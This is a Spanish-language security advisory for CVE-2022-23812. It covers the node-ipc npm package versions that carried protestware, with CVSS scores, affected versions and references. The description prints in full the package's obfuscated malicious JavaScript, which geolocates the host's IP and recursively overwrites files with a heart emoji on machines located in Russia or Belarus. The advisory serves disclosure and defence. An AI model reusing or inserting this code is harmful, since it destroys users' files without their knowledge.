Vulnerabilidad en al paquete node-ipc (CVE-2022-23812)
Gravedad CVSS v3.1:
CRÍTICA
Tipo:
No Disponible / Otro tipo
Fecha de publicación:
16/03/2022
Última modificación:
07/11/2023
Descripción
Esto afecta al paquete node-ipc a partir de la versión 10.1.1 y versiones anteriores a 10.1.3. Este paquete contiene un código malicioso, que es dirigido a usuarios con IP ubicadas en Rusia o Bielorrusia, y sobrescribe sus archivos con un emoji de corazón. **Nota**: a partir de las versiones 11.0.0, en lugar de tener código malicioso directamente en el código fuente de este paquete, node-ipc importa el paquete peacenotwar que incluye un comportamiento potencialmente no deseado. Código Malicioso: **Nota:** ¡No lo ejecutes! js importado desde "path"; importado desde "fs"; importado desde "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer. from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t. on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer. from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer. from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // comprueba si el país es Rusia o Bielorrusia if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a. readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u. join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // sobrescribe el archivo con ? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
Impacto
Puntuación base 3.x
9.80
Gravedad 3.x
CRÍTICA
Puntuación base 2.0
10.00
Gravedad 2.0
ALTA
Productos y versiones vulnerables
| CPE | Desde | Hasta |
|---|---|---|
| cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:* | 10.1.1 (incluyendo) | 10.1.3 (excluyendo) |
| cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:* | 11.0.0 (incluyendo) |
Para consultar la lista completa de nombres de CPE con productos y versiones, ver esta página
Referencias a soluciones, herramientas e información
- https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
- https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580
- https://github.com/RIAEvangelist/node-ipc/issues/233
- https://github.com/RIAEvangelist/node-ipc/issues/236
- https://security.netapp.com/advisory/ntap-20220407-0005/
- https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370



